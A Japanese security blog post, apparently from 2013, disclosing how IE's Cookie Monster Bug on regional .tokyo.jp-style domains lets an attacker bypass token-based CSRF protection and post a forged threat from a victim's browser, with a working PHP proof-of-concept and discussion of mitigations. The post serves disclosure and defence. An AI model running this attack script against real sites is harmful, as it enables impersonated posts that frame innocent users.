日経Linux 2013年1月号に「“誤認逮捕”を防ぐWebセキュリティ強化術」を書き、それが今週4回連載で、
ITproに転載されました。この中で、
クロスサイトリクエストフォージェリ(CSRF)対策について説明しましたが、クッキーモンスターバグ(Cookie Monster Bug)がある場合に対策が回避されることに気がつきました。
それでは、どのような対策が望ましいかを考えてみると、中々難しい問題です。以下、その内容について検討します。
解決すべき課題の整理
記事の趣旨は、昨年無実の市民のパソコンからCSRFによる犯行予告が横浜市のサイトに書き込まれたことを受けて、サイト側でCSRF対策をして、なりすまし書き込みができないようにしようというものです。なりすましの犯行予告には、CSRFのほか、マルウェアを用いる方法、CSRF以外のWebサイトへの攻撃手法もあるので、CSRF対策だけで十分というわけではありませんが、現実に悪用されたCSRFの対策は、できるだけ実施した方がよいと考えます。
ここで、対策例のスクリプトを以下に示します。これはCSRF対策としては標準的な方法で、乱数により生成したトークンをセッション変数とhiddenパラメータにセットして、投稿処理側で両者を比較することで、CSRF攻撃に対処しています。
以下は入力フォームです。
デモ環境はこちら。
<?php // form.php 入力フォーム
session_start();
// トークンがセッションになければトークンを生成してセッションに保存
if (! isset($_SESSION['token'])) {
$rand = file_get_contents('/dev/urandom', false, NULL, 0, 24);
$token = base64_encode($rand);
$_SESSION['token'] = $token;
} else {
$token = $_SESSION['token'];
}
?>
<body>
投稿して下さい
<form action="post.php" method="POST">
<input name=body>
<input type="hidden" name="token" value="<?php echo htmlspecialchars($token); ?>">
<input type=submit>
</form>
</body>
以下は、入力された投稿を書き込む処理です。処理を簡単にするため、実際には書き込みはせず、書き込み内容を表示しています。
<?php post.php 投稿処理
session_start();
// トークンをセッション変数とPOSTパラメータから取得
$s_token = @$_SESSION['token'];
$p_token = @$_POST['token'];
if (! isset($s_token) || $p_token !== $s_token) {
// トークンが空か、一致していなければエラー
die('正規の画面からご使用ください');
}
?>
<body>
投稿されました:<?php echo htmlspecialchars($_POST['body']); ?>
<?php var_dump($_COOKIE); ?>
</body>
CSRF攻撃の
罠を用意しましたが、対策が施されているので、「 正規の画面からご使用ください」と表示されます。
クッキーモンスターバグとは
ここでクッキーモンスターバグについて説明します。
クッキーのデフォルト動作では、クッキーをセットしたホスト(FQDN)にのみクッキーが送信されますが、domain属性を指定することにより、クッキー送信するドメインを広げることができます。たとえば、以下のようにdomain=example.jpを指定すると、example.jpのサブドメインのホスト、たとえば、www.example.jpやsub1.example.jpにもfoo=barというクッキーが送信されます。
Set-Cookie: foo=bar; domain=example.jp
それでは、domain=jpと指定すると、JPドメイン名を持つサイト全てにそのクッキーが送信されるかというと、そうではありません。セキュリティ上の理由から、クッキー設定時のdomain指定が制限されているからです。
しかし、ブラウザによっては、この制限が期待した通りにならない場合があります。有名な例としては、地域型JPドメイン名と都道府県型JPドメイン名において、Internet Explorerが正しくdomainの制限を掛けてないことが知られています。この現象をクッキーモンスタバグ(Cookie Monster Bug)と呼びます。
地域型JPドメイン名の例1: city.bunkyo.tokyo.jp (東京都文京区のドメイン名)
地域型JPドメイン名の例2: tokumaru.bunkyo.tokyo.jp (筆者の地域型JPドメイン名)
都道府県型JPドメイン名の例: kawaguchi.tokyo.jp (東京都川口区…ではなく筆者がネタ試験用に取得したドメイン名)
上記のいずれにおいても、IEでは、domain=tokyo.jp という指定が有効になります。その結果、例えば、kawaguchi.tokyo.jp上のサイトに罠を仕掛けて、PHPSESSIDという名前のクッキーをセットすると、tokyo.jp以下の地域型JPドメイン名と都道府県型JPドメイン名全てに有効なクッキーを作れてしまうことになります。これは、セッションIDの固定化攻撃(Session Fixation Attack)を受けやすくなることを意味します。
ログイン処理後のセッションIDの固定化攻撃は簡単に対策できる
とはいえ、地域型JPドメイン名と都道府県JPドメイン名のサイトが、ただちにセッションIDの固定化攻撃を受けて、なりすましされるというわけではありません。セッションIDの固定化攻撃には有効な対策があり、ログイン直後にセッションIDを振り直すだけで、なりすましを防ぐことができます。このため、地域型JPドメイン名と都道府県JPドメイン名は、Webセキュリティの観点からは「できれば避けたほうが良い」というレベルであり、「絶対に使ってはいけない」というものではありません。
ログイン前のセッションIDの固定化攻撃は対策が難しい
ログイン前セッションIDの固定化攻撃というものがあります。文字通り、ログイン前の状態でセッションIDの固定化攻撃をするもので、2006年10月に高木浩光氏がブログ記事「
ログイン前Session Fixationをどうするか」で解説されています。詳しくはこの記事をお読みいただくとして、高木浩光氏は、以下の二種類の対策を検討されています。
- ページごとにセッションIDを振り直す
- セッションではなくhiddenパラメータにより入力値を引き回す
このうち、高木氏はhiddenパラメータを推奨されています。私も一般論としてはこれに同意しますが、CSRF対策では、この方法は使えません。これについて以下説明します。
CSRFとセッションIDの固定化攻撃
通常のセッションIDの固定化攻撃は以下の流れによります。
- 攻撃者はログイン前のセッションIDを用意して、クッキーモンスターバグなどにより、これを被害者のブラウザにセットする
- 被害者が攻撃対象サイトでログインする
- 攻撃者は、元のセッションIDを「知っている」ので、ログイン状態のセッションを盗むことができる
ところが、冒頭に説明した「CSRF対策」の場合は、以下の手順が成立してしまいます。
- 攻撃者は入力フォーム(form.php)を閲覧する
- この状態でクッキーの値とhiddenのトークンの値を調べる
- 罠を用意する。前項で調べたクッキーはクッキーモンスターバグで被害者のブラウザにセットして、hiddenのトークンは通常のCSRFの手法により送信する
- クッキーもトークンも正規のものなので、CSRFチェックを回避して、被害者のブラウザから投稿がされる
上記が成立することを現実の地域型JPドメイン名と都道府県型JPドメイン名のサイトを用いて確認しました。以下に、攻撃スクリプトを示します。
<?php
// cURLの初期化
$ch = curl_init('http://tokumaru.bunkyo.tokyo.jp/form.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 結果を文字列で取得
curl_setopt($ch, CURLOPT_HEADER, true); // ヘッダも取得
// User-Agentを被害者のものに合わせる
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$str = curl_exec($ch); // HTTPリクエスト要求
curl_close($ch);
// セッションIDとトークンを切り出し
preg_match('/PHPSESSID=([a-z0-9]+);/i', $str, $match);
$sessid = $match[1];
preg_match('/name="token" value="([=+\/a-z0-9]+)"/i', $str, $match);
$token = $match[1];
// 被害者のブラウザにセッションIDを domain=tokyo.jp でセット
setcookie('PHPSESSID', $sessid, 0, '/', 'tokyo.jp');
?>
<body>
<form action="http://tokumaru.bunkyo.tokyo.jp/post.php" method="POST">
<input name="body" value="○○小学校を襲撃します"><br>
<input name="token" value="<?php echo $token; ?>"><br>
<input type="submit" value="ボタンを押して下さい"><br>
PHPSESSID = <?php echo $sessid; ?>
</form>
</body>
このスクリプトを動かす環境を用意しました。
こちらから、IEで試して下さい。
認証がある場合のCSRF対策とはどこが違うか
ここで疑問が生じます。私が紹介したCSRF対策のスクリプトは、標準的な対策手法を用いているはずでした。それなのに、なぜ、対策を回避されたのでしょうか。それとも、クッキーモンスターバグがあると、常にCSRF対策まで回避されるのでしょうか?
そうではありません。通常のCSRF対策は、被害者のログインアカウントの悪用を避ける事が目的です。例えば、誰かが私にCSRF攻撃をしかけ、私のtwitterアカウントでハレンチな書き込みをさせられると、私は大変困ります。私のtwitterアカウントは公開されているので、「徳丸が変なことをつぶやいた」となるからです。
しかし、ログイン機能のあるサイトでも、地域型JPドメイン名や都道府県型JPドメイン名の上のサイトなら以下の手順で「IPアドレスを偽装」することならば可能です。
- 攻撃者は攻撃対象サイトに自分のアカウントでログインする
- この状態でクッキーの値とhiddenのトークンの値を調べる
- 罠を用意する。前項で調べたクッキーはクッキーモンスターバグで被害者のブラウザにセットして、hiddenのトークンは通常のCSRFの手法により送信する
- クッキーもトークンも正規のものなので、CSRFチェックを回避して、被害者のブラウザから投稿がされる
最初のステップ以外は、ログインがない場合と全て同じです。この攻撃の場合、被害者は、攻撃者の用意したアカウント上で投稿をすることになりますが、投稿時のIPアドレスは被害者の端末のものです。アカウントから「容疑者」を割り出せない場合、捜査当局はやはり、「投稿時のIPアドレス」を用いて捜査する可能性が高いと予想します。
すなわち、クッキーモンスターバグがある条件では、トークンを用いたCSRF対策をしていても、「IPアドレスを偽装したなりすまし犯行予告」は防げないことになります。その条件とは、主に以下の両方が成立する場合です。
- 地域型JPドメイン名または都道府県型JPドメイン名上にサイトがある
- 利用者がIEを使っている
FAQ
Q1: 入力フォームでセッションIDを振り直せばよいのでは?
A1: ダメです。攻撃者が取得するクッキーは、振り直された後のクッキーです。振りなおしても効果はありません。
Q2: ページごとにセッションIDを振りなおしてもダメ?
A2: Q1と同じ理由でダメです。
Q3: ページ毎にセッションIDを振り直す方式は高木浩光氏が(一応)大丈夫と言っているのに、なぜダメなの?
A3: 通常のセッションIDの固定化攻撃は、被害者がログインなどの操作をした後に、そのセッションIDを使って攻撃者がブラウザするものです。今回説明した方法は、攻撃者がお膳立てしたセッションのクッキーを用いて、リクエスト一発で攻撃が成立するところが違います。
Q4: リクエスト一発ですまないように、途中で確認画面をはさんでもダメ?
A4: 確認画面まで攻撃者が遷移した後に、前記の攻撃をしかけるので、結局「リクエスト一発」です。
Q5: CAPTCHAによるCSRF攻撃対策でもだめ?
A5: 攻撃者はCAPTCHAを解いて、その正答をPOSTリクエストに含めることができます。正答はセッションの保存されていますが、クッキーモンスターバグにより、攻撃者と同じ「CAPTCHAの正答」が被害者のブラウザに再現されるため、CAPTCHAでも防げません。※分かりにくかったので加筆修正しました
CAPTCHAの状態はセッションに記憶するので、結局同じです
※追記その2
twitterで@nihen さんからご指摘いただきました。現在の「罠」は全自動ですが、CAPTCHAがあると手動の部分が入るので、攻撃はしにくくなり、攻撃の成功確率を下げる工夫も可能です。したがって、CAPTCHAは、完全とは言えないにしても、攻撃抑止の効果はあります。
Q6: PHPのSession Adoptionのせいではないのか?
A6: 攻撃の流れで正規のセッションIDを取得して使うので、Session Adoptionは関係ありません
Q7: ワンタイムトークンにしたら防げないの?
A7: トークンは別のところで使っていないので、ワンタイムトークンでも同じです。強いて言えば、「2番目に罠に掛かった人」には攻撃は成立しなくなりますが、攻撃者にとってはかえって好都合と言えます。同じ内容を何人もが書き込んでいると不自然だからです。
Q8: Refererによる対策はダメ?
A8: Refererによる対策は有効です。参考:リ
ファラとCSRF対策の話
Q9: 今回の事件の現場となった横浜市「市民からの提案」サイトにもこの問題があるの?
A9: 横浜市のサイトは.LG.JPドメイン名なので、クッキーモンスターバグがありません。また、トークンではなく、Refererによる対策を施しているようです。従って、ここで紹介している問題には該当しません。
では、どうすればよいのか
地方公共団体のWebサイトの多くが地域型JPドメイン名上にあるので、上記に該当するサイトは多そうです。
以下、対策に役立つ可能性のあるアイデアを列記します。
- RefererによるCSRF対策をする
- 地域型JPドメイン名からLG.JPドメイン名に移行する
- トークン生成と書き込みページのリモートIPアドレスを比較して、違っていたらエラーにする
- 書き込み実行時のIPアドレスに加えて、トークン生成時のIPアドレスも記録する
- 犯行予告など無視する
- IPアドレスを一切記録しない
- 例えば、IEを避ける(参考: 例えば、PHPを避ける)
- Microsoft社に運動してクッキーモンスターバグを修正してもらう
このうち、RefererによるCSRF対策は、Refererをオフにしている利用者が投稿機能を利用できなくなるという副作用がありますが、地方公共団体などに限れば、許容出来るかもしれません。たとえば普段はOperaでRefererをオフにしてブラウズしている利用者にも、市役所等に投稿する場合などに限り別のブラウザ(例えばGoogle Chrome)を使ってもらう、などです。しかし、それを言うなら、普段IEを使っている利用者に、市役所のサイトに投稿する時だけ別のブラウザを使ってもらってもよいことになります(この場合は、IEからの書き込みをチェックしてエラーにする必要があります)。
トークン生成と書き込みページのリモートIPアドレス(ブラウザのIPアドレス)を比較して、違っていたらエラーにするという方法は、CSRF攻撃の際に、攻撃者が被害者とは別のIPアドレスで投稿フォームを参照する性質を利用したものです。攻撃者が、被害者と同じIPアドレスを使えるのであれば、わざわざCSRFを使う必要はありません。この方法の副作用は、通常の利用であってもリモートIPアドレスが変化する場合があり、投稿を拒否されてしまうことです。一般的には、許容されない方法と言えます。
トークン生成時のIPアドレスを記録する(投稿とトークン生成時のIPアドレスを紐付けて保存する)という方法は、副作用が少なく実現も容易ですが、なりすましの犯行予告自体はできてしまうとろこが悩ましいところです。
このようなさまざまな「対策」には副作用もあるので、長期的には、地方公共団体等は地域型JPドメイン名から、LG.JPドメイン名に移行することが望ましいと考えます。
まとめ
なりすまし犯行予告に備えて、投稿サイトにCSRF対策を施すケースが多くなると考えられますが、地域型JPドメイン名とIEの組み合わせなど、クッキーモンスターバグのある状態では、トークンによる標準的な対策が回避されることを示しました。
この攻撃は、攻撃者が投稿ボタンをクリックした際に送信されるリクエストを、被害者のブラウザ上から送信させるものです。通常のCSRFでは、クエリ文字列、POSTパラメータを攻撃者が自由に設定できますが、クッキーモンスターバグがあると、攻撃者はクッキーも被害者のブラウザ上で設定できます。つまり、クエリ文字列、POSTパラメータ、クッキー *以外の* 方法で、通常のリクエストと攻撃を区別しなければなりません。この目的で使えるリクエストヘッダは、Refererだけだと考えますが、Refererを使う対策には副作用もあります。リモートIPアドレスも使えますが、やはり副作用があります。(2013/3/1 11:00 このパラグラフ追記)
このエントリでは、問題の報告と対策案の大まかな検討に止めましたので、今後の活発な議論を期待します。